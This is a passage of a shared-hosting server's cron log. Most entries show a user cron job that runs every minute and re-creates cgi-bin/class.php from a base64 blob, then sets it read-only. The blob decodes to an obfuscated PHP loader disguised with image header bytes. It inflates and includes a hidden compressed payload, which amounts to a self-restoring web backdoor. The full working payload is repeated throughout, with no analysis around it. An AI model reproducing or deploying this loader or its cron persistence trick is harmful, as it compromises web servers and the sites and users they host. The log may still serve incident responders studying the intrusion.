g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:48:01 server CROND[16176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:49:01 server CROND[16240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:50:01 server CROND[16313]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 15:50:01 server CROND[16315]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 15:50:01 server CROND[16316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:50:01 server CROND[16319]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:50:01 server CROND[16317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:51:01 server CROND[16536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:52:01 server CROND[16598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:53:01 server CROND[16676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:54:01 server CROND[16737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:55:01 server CROND[16801]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:55:01 server CROND[16802]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:55:01 server CROND[16803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:56:01 server CROND[17020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:57:01 server CROND[17096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:57:01 server CROND[17097]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 15:58:01 server CROND[17169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:59:01 server CROND[17248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:00:01 server CROND[17325]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:00:01 server CROND[17327]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 16:00:01 server CROND[17329]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 16:00:01 server CROND[17328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:00:01 server CROND[17330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:01:01 server CROND[17557]: (root) CMD (run-parts /etc/cron.hourly)
